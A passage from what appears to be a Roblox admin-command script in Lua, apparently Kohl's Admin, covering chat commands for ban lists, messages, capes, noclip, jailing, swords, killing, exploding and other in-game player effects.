  445. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  446. end end
  447.  
  448. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  449. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  450. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  451. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  452. end
  453.  
  454. if msg:lower() == "tools" or msg:lower() == "toollist" then
  455. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  456. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  457. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  458. end
  459.  
  460. if msg:lower():sub(1,2) == "s " then
  461. coroutine.resume(coroutine.create(function()
  462. Output(msg:sub(3), plr)
  463. if script:findFirstChild("ScriptBase") then
  464. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  465. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  466. else loadstring(msg:sub(3))()
  467. end
  468. end))
  469. end
  470.  
  471. if msg:lower():sub(1,3) == "ls " then
  472. coroutine.resume(coroutine.create(function()
  473. if script:findFirstChild("LocalScriptBase") then
  474. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  475. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  476. end
  477. end))
  478. end
  479.  
  480. if msg:lower():sub(1,6) == "lsplr " then
  481. local chk1 = msg:lower():sub(7):find(" ") + 6
  482. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  483. for i, v in pairs(plrz) do
  484. coroutine.resume(coroutine.create(function()
  485. if v and v:findFirstChild("PlayerGui") then
  486. if script:findFirstChild("LocalScriptBase") then
  487. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  488. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  489. end
  490. end
  491. end))
  492. end
  493. end
  494.  
  495. if msg:lower():sub(1,4) == "ins " then
  496. coroutine.resume(coroutine.create(function()
  497. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  498. if obj and #obj:children() >= 1 and plr.Character then
  499. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  500. end
  501. end))
  502. end
  503.  
  504. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  505. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  506. RemoveMessage()
  507. objects = {}
  508. end
  509.  
  510. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  511. game.Lighting.Ambient = origsettings.abt
  512. game.Lighting.Brightness = origsettings.brt
  513. game.Lighting.TimeOfDay = origsettings.time
  514. game.Lighting.FogColor = origsettings.fclr
  515. game.Lighting.FogEnd = origsettings.fe
  516. game.Lighting.FogStart = origsettings.fs
  517. for i, v in pairs(lobjs) do v:Destroy() end
  518. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  519. end
  520.  
  521. if msg:lower() == "xd" or msg:lower() == "cmdgui" then
  522. coroutine.resume(coroutine.create(function()
  523. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  524. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  525. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  526. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  527. end))
  528. end
  529.  
  530. if msg:lower():sub(1,10) == "countdown " then
  531. local num = math.min(tonumber(msg:sub(11)),120)
  532. for i = num, 1, -1 do
  533. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  534. wait(1)
  535. end
  536. end
  537.  
  538. if msg:lower():sub(1,3) == "tm " then
  539. local chk1 = msg:lower():sub(4):find(" ") + 3
  540. local num = tonumber(msg:sub(4,chk1-1))
  541. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  542. end
  543.  
  544. if msg:lower():sub(1,2) == "m " then
  545. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  546. end
  547.  
  548. if msg:lower():sub(1,2) == "h " then
  549. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  550. end
  551.  
  552. if msg:lower():sub(1,3) == "pm " then
  553. local chk1 = msg:lower():sub(4):find(" ") + 3
  554. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  555. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  556. end
  557.  
  558. if msg:lower():sub(1,11) == "resetstats " then
  559. local plrz = GetPlr(plr, msg:lower():sub(12))
  560. for i, v in pairs(plrz) do
  561. coroutine.resume(coroutine.create(function()
  562. if v and v:findFirstChild("leaderstats") then
  563. for a, q in pairs(v.leaderstats:children()) do
  564. if q:IsA("IntValue") then q.Value = 0 end
  565. end
  566. end
  567. end))
  568. end
  569. end
  570.  
  571. if msg:lower():sub(1,5) == "gear " then
  572. local chk1 = msg:lower():sub(6):find(" ") + 5
  573. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  574. for i, v in pairs(plrz) do
  575. coroutine.resume(coroutine.create(function()
  576. if v and v:findFirstChild("Backpack") then
  577. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  578. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  579. obj:Destroy()
  580. end
  581. end))
  582. end
  583. end
  584.  
  585. if msg:lower():sub(1,4) == "hat " then
  586. local chk1 = msg:lower():sub(5):find(" ") + 4
  587. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  588. for i, v in pairs(plrz) do
  589. coroutine.resume(coroutine.create(function()
  590. if v and v.Character then
  591. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  592. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  593. obj:Destroy()
  594. end
  595. end))
  596. end
  597. end
  598.  
  599. if msg:lower():sub(1,5) == "cape " then
  600. local chk1 = msg:lower():sub(6):find(" ")
  601. local plrz = GetPlr(plr, msg:lower():sub(6))
  602. local str = "torso.BrickColor"
  603. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  604. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  605. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  606. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  607. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  608. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  609. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  610. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  611. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  612. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  613. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  614. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  615. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  616. if BrickColor.new(teststr) ~= nil then str = teststr end
  617. end
  618. for i, v in pairs(plrz) do
  619. coroutine.resume(coroutine.create(function()
  620. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  621. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  622. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  623. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  624. local torso = plr.Character.Torso
  625. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  626. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  627. p.Size = Vector3.new(.2,.2,.2)
  628. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  629. local motor1 = Instance.new("Motor", p)
  630. motor1.Part0 = p
  631. motor1.Part1 = torso
  632. motor1.MaxVelocity = .01
  633. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  634. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  635. local wave = false
  636. repeat wait(1/44)
  637. local ang = 0.1
  638. local oldmag = torso.Velocity.magnitude
  639. local mv = .002
  640. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  641. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  642. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  643. motor1.DesiredAngle = -ang
  644. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  645. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  646. if torso.Velocity.magnitude < .1 then wait(.1) end
  647. until not p or p.Parent ~= torso.Parent
  648. script:Destroy()
  649. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  650. end
  651. end))
  652. end
  653. end
  654.  
  655. if msg:lower():sub(1,7) == "uncape " then
  656. local plrz = GetPlr(plr, msg:lower():sub(8))
  657. for i, v in pairs(plrz) do
  658. coroutine.resume(coroutine.create(function()
  659. if v and v:findFirstChild("PlayerGui") and v.Character then
  660. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  661. end
  662. end))
  663. end
  664. end
  665.  
  666. if msg:lower():sub(1,7) == "noclip " then
  667. local plrz = GetPlr(plr, msg:lower():sub(8))
  668. for i, v in pairs(plrz) do
  669. coroutine.resume(coroutine.create(function()
  670. if v and v:findFirstChild("PlayerGui") then
  671. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  672. cl.Parent = v.PlayerGui cl.Disabled = false
  673. end
  674. end))
  675. end
  676. end
  677.  
  678. if msg:lower():sub(1,5) == "clip " then
  679. local plrz = GetPlr(plr, msg:lower():sub(6))
  680. for i, v in pairs(plrz) do
  681. coroutine.resume(coroutine.create(function()
  682. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  683. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  684. v.Character.Torso.Anchored = false
  685. wait(.1) v.Character.Humanoid.PlatformStand = false
  686. end
  687. end))
  688. end
  689. end
  690.  
  691. if msg:lower():sub(1,5) == "jail " then
  692. local plrz = GetPlr(plr, msg:lower():sub(6))
  693. for i, v in pairs(plrz) do
  694. coroutine.resume(coroutine.create(function()
  695. if v and v.Character and v.Character:findFirstChild("Torso") then
  696. local vname = v.Name
  697. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  698. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  699. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  700. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  701. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  702. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  703. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  704. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  705. end)
  706. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  707. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  708. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  709. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  710. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  711. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  712. local msh2 = msh:Clone() msh2.Parent = back
  713. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  714. local msh4 = msh3:Clone() msh4.Parent = left
  715. v.Character.Torso.CFrame = cf
  716. end
  717. end))
  718. end
  719. end
  720.  
  721. if msg:lower():sub(1,7) == "unjail " then
  722. local plrz = GetPlr(plr, msg:lower():sub(8))
  723. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  724. end
  725.  
  726. if msg:lower():sub(1,11) == "starttools " then
  727. local plrz = GetPlr(plr, msg:lower():sub(12))
  728. for i, v in pairs(plrz) do
  729. coroutine.resume(coroutine.create(function()
  730. if v and v:findFirstChild("Backpack") then
  731. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  732. end
  733. end))
  734. end
  735. end
  736.  
  737. if msg:lower():sub(1,6) == "sword " then
  738. local plrz = GetPlr(plr, msg:lower():sub(7))
  739. for i, v in pairs(plrz) do
  740. coroutine.resume(coroutine.create(function()
  741. if v and v:findFirstChild("Backpack") then
  742. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  743. sword.GripForward = Vector3.new(-1,0,0)
  744. sword.GripPos = Vector3.new(0,0,-1.5)
  745. sword.GripRight = Vector3.new(0,1,0)
  746. sword.GripUp = Vector3.new(0,0,1)
  747. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  748. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  749. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  750. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  751. local Damage = 15
  752. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  753. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  754. SlashSound.Volume = 1
  755. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  756. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  757. LungeSound.Volume = 1
  758. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  759. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  760. UnsheathSound.Volume = 1
  761. local last = 0
  762. script.Parent.Handle.Touched:connect(function(hit)
  763. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  764. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  765. hit.Parent.Humanoid:TakeDamage(Damage)
  766. end
  767. end)
  768. script.Parent.Activated:connect(function()
  769. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  770. script.Parent.Enabled = false
  771. local tick = game:service("RunService").Stepped:wait()
  772. if tick - last <= .2 then
  773. LungeSound:play()
  774. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  775. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  776. wait(.2)
  777. script.Parent.GripForward = Vector3.new(0,0,1)
  778. script.Parent.GripRight = Vector3.new(0,-1,0)
  779. script.Parent.GripUp = Vector3.new(-1,0,0)
  780. wait(.3)
  781. frc:Destroy() wait(.5)
  782. script.Parent.GripForward = Vector3.new(-1,0,0)
  783. script.Parent.GripRight = Vector3.new(0,1,0)
  784. script.Parent.GripUp = Vector3.new(0,0,1)
  785. else
  786. SlashSound:play()
  787. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  788. end
  789. last = tick
  790. script.Parent.Enabled = true
  791. end)
  792. script.Parent.Equipped:connect(function(mouse)
  793. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  794. UnsheathSound:play()
  795. script.Parent.Enabled = true
  796. if not mouse then return end
  797. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  798. end)]] cl.Disabled = false
  799. end
  800. end))
  801. end
  802. end
  803.  
  804. if msg:lower():sub(1,6) == "clone " then
  805. local plrz = GetPlr(plr, msg:lower():sub(7))
  806. for i, v in pairs(plrz) do
  807. coroutine.resume(coroutine.create(function()
  808. if v and v.Character then
  809. v.Character.Archivable = true
  810. local cl = v.Character:Clone()
  811. table.insert(objects,cl)
  812. cl.Parent = game.Workspace
  813. cl:MoveTo(v.Character:GetModelCFrame().p)
  814. cl:MakeJoints()
  815. v.Character.Archivable = false
  816. end
  817. end))
  818. end
  819. end
  820.  
  821. if msg:lower():sub(1,8) == "control " then
  822. local plrz = GetPlr(plr, msg:lower():sub(9))
  823. for i, v in pairs(plrz) do
  824. coroutine.resume(coroutine.create(function()
  825. if v and v.Character then
  826. v.Character.Humanoid.PlatformStand = true
  827. local w = Instance.new("Weld", plr.Character.Torso )
  828. w.Part0 = plr.Character.Torso
  829. w.Part1 = v.Character.Torso
  830. local w2 = Instance.new("Weld", plr.Character.Head)
  831. w2.Part0 = plr.Character.Head
  832. w2.Part1 = v.Character.Head
  833. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  834. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  835. w3.Part1 = v.Character:findFirstChild("Right Arm")
  836. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  837. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  838. w4.Part1 = v.Character:findFirstChild("Left Arm")
  839. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  840. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  841. w5.Part1 = v.Character:findFirstChild("Right Leg")
  842. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  843. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  844. w6.Part1 = v.Character:findFirstChild("Left Leg")
  845. plr.Character.Head.face:Destroy()
  846. for i, p in pairs(v.Character:children()) do
  847. if p:IsA("BasePart") then
  848. p.CanCollide = false
  849. end
  850. end
  851. for i, p in pairs(plr.Character:children()) do
  852. if p:IsA("BasePart") then
  853. p.Transparency = 1
  854. elseif p:IsA("Hat") then
  855. p:Destroy()
  856. end
  857. end
  858. v.Character.Parent = plr.Character
  859. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  860. end
  861. end))
  862. end
  863. end
  864.  
  865. if msg:lower():sub(1,5) == "kill " then
  866. local plrz = GetPlr(plr, msg:lower():sub(6))
  867. for i, v in pairs(plrz) do
  868. coroutine.resume(coroutine.create(function()
  869. if v and v.Character then v.Character:BreakJoints() end
  870. end))
  871. end
  872. end
  873.  
  874. if msg:lower():sub(1,8) == "respawn " then
  875. local plrz = GetPlr(plr, msg:lower():sub(9))
  876. for i, v in pairs(plrz) do
  877. coroutine.resume(coroutine.create(function()
  878. if v and v.Character then v:LoadCharacter() end
  879. end))
  880. end
  881. end
  882.  
  883. if msg:lower():sub(1,5) == "trip " then
  884. local plrz = GetPlr(plr, msg:lower():sub(6))
  885. for i, v in pairs(plrz) do
  886. coroutine.resume(coroutine.create(function()
  887. if v and v.Character and v.Character:findFirstChild("Torso") then
  888. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  889. end
  890. end))
  891. end
  892. end
  893.  
  894. if msg:lower():sub(1,5) == "stun " then
  895. local plrz = GetPlr(plr, msg:lower():sub(6))
  896. for i, v in pairs(plrz) do
  897. coroutine.resume(coroutine.create(function()
  898. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  899. v.Character.Humanoid.PlatformStand = true
  900. end
  901. end))
  902. end
  903. end
  904.  
  905. if msg:lower():sub(1,7) == "unstun " then
  906. local plrz = GetPlr(plr, msg:lower():sub(8))
  907. for i, v in pairs(plrz) do
  908. coroutine.resume(coroutine.create(function()
  909. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  910. v.Character.Humanoid.PlatformStand = false
  911. end
  912. end))
  913. end
  914. end
  915.  
  916. if msg:lower():sub(1,5) == "jump " then
  917. local plrz = GetPlr(plr, msg:lower():sub(6))
  918. for i, v in pairs(plrz) do
  919. coroutine.resume(coroutine.create(function()
  920. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  921. v.Character.Humanoid.Jump = true
  922. end
  923. end))
  924. end
  925. end
  926.  
  927. if msg:lower():sub(1,4) == "sit " then
  928. local plrz = GetPlr(plr, msg:lower():sub(5))
  929. for i, v in pairs(plrz) do
  930. coroutine.resume(coroutine.create(function()
  931. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  932. v.Character.Humanoid.Sit = true
  933. end
  934. end))
  935. end
  936. end
  937.  
  938. if msg:lower():sub(1,10) == "invisible " then
  939. local plrz = GetPlr(plr, msg:lower():sub(11))
  940. for i, v in pairs(plrz) do
  941. coroutine.resume(coroutine.create(function()
  942. if v and v.Character then
  943. for a, obj in pairs(v.Character:children()) do
  944. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  945. end
  946. end
  947. end))
  948. end
  949. end
  950.  
  951. if msg:lower():sub(1,8) == "visible " then
  952. local plrz = GetPlr(plr, msg:lower():sub(9))
  953. for i, v in pairs(plrz) do
  954. coroutine.resume(coroutine.create(function()
  955. if v and v.Character then
  956. for a, obj in pairs(v.Character:children()) do
  957. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  958. end
  959. end
  960. end))
  961. end
  962. end
  963.  
  964. if msg:lower():sub(1,5) == "lock " then
  965. local plrz = GetPlr(plr, msg:lower():sub(6))
  966. for i, v in pairs(plrz) do
  967. coroutine.resume(coroutine.create(function()
  968. if v and v.Character then
  969. for a, obj in pairs(v.Character:children()) do
  970. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  971. end
  972. end
  973. end))
  974. end
  975. end
  976.  
  977. if msg:lower():sub(1,7) == "unlock " then
  978. local plrz = GetPlr(plr, msg:lower():sub(8))
  979. for i, v in pairs(plrz) do
  980. coroutine.resume(coroutine.create(function()
  981. if v and v.Character then
  982. for a, obj in pairs(v.Character:children()) do
  983. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  984. end
  985. end
  986. end))
  987. end
  988. end
  989.  
  990. if msg:lower():sub(1,8) == "explode " then
  991. local plrz = GetPlr(plr, msg:lower():sub(9))
  992. for i, v in pairs(plrz) do
  993. coroutine.resume(coroutine.create(function()
  994. if v and v.Character and v.Character:findFirstChild("Torso") then
  995. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  996. end
  997. end))
  998. end
  999. end
  1000.  
  1001. if msg:lower():sub(1,4) == "age " then
  1002. local plrz = GetPlr(plr, msg:lower():sub(5))
  1003. for i, v in pairs(plrz) do
  1004. coroutine.resume(coroutine.create(function()
  1005. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  1006. end))
  1007. end
  1008. end
  1009.  
  1010. if msg:lower():sub(1,5) == "fire " then
  1011. local plrz = GetPlr(plr, msg:lower():sub(6))
  1012. for i, v in pairs(plrz) do
  1013. coroutine.resume(coroutine.create(function()
  1014. if v and v.Character and v.Character:findFirstChild("Torso") then
  1015. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  1016. end
  1017. end))
  1018. end
  1019. end
  1020.  
  1021. if msg:lower():sub(1,7) == "unfire " then
  1022. local plrz = GetPlr(plr, msg:lower():sub(8))
  1023. for i, v in pairs(plrz) do
  1024. coroutine.resume(coroutine.create(function()
  1025. if v and v.Character and v.Character:findFirstChild("Torso") then
  1026. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  1027. end
  1028. end))
  1029. end
  1030. end
  1031.  
  1032. if msg:lower():sub(1,6) == "smoke " then
  1033. local plrz = GetPlr(plr, msg:lower():sub(7))
  1034. for i, v in pairs(plrz) do
  1035. coroutine.resume(coroutine.create(function()
  1036. if v and v.Character and v.Character:findFirstChild("Torso") then
  1037. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  1038. end
  1039. end))
  1040. end
  1041. end
  1042.  
  1043. if msg:lower():sub(1,8) == "unsmoke " then
  1044. local plrz = GetPlr(plr, msg:lower():sub(9))
  1045. for i, v in pairs(plrz) do
  1046. coroutine.resume(coroutine.create(function()
  1047. if v and v.Character and v.Character:findFirstChild("Torso") then
  1048. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
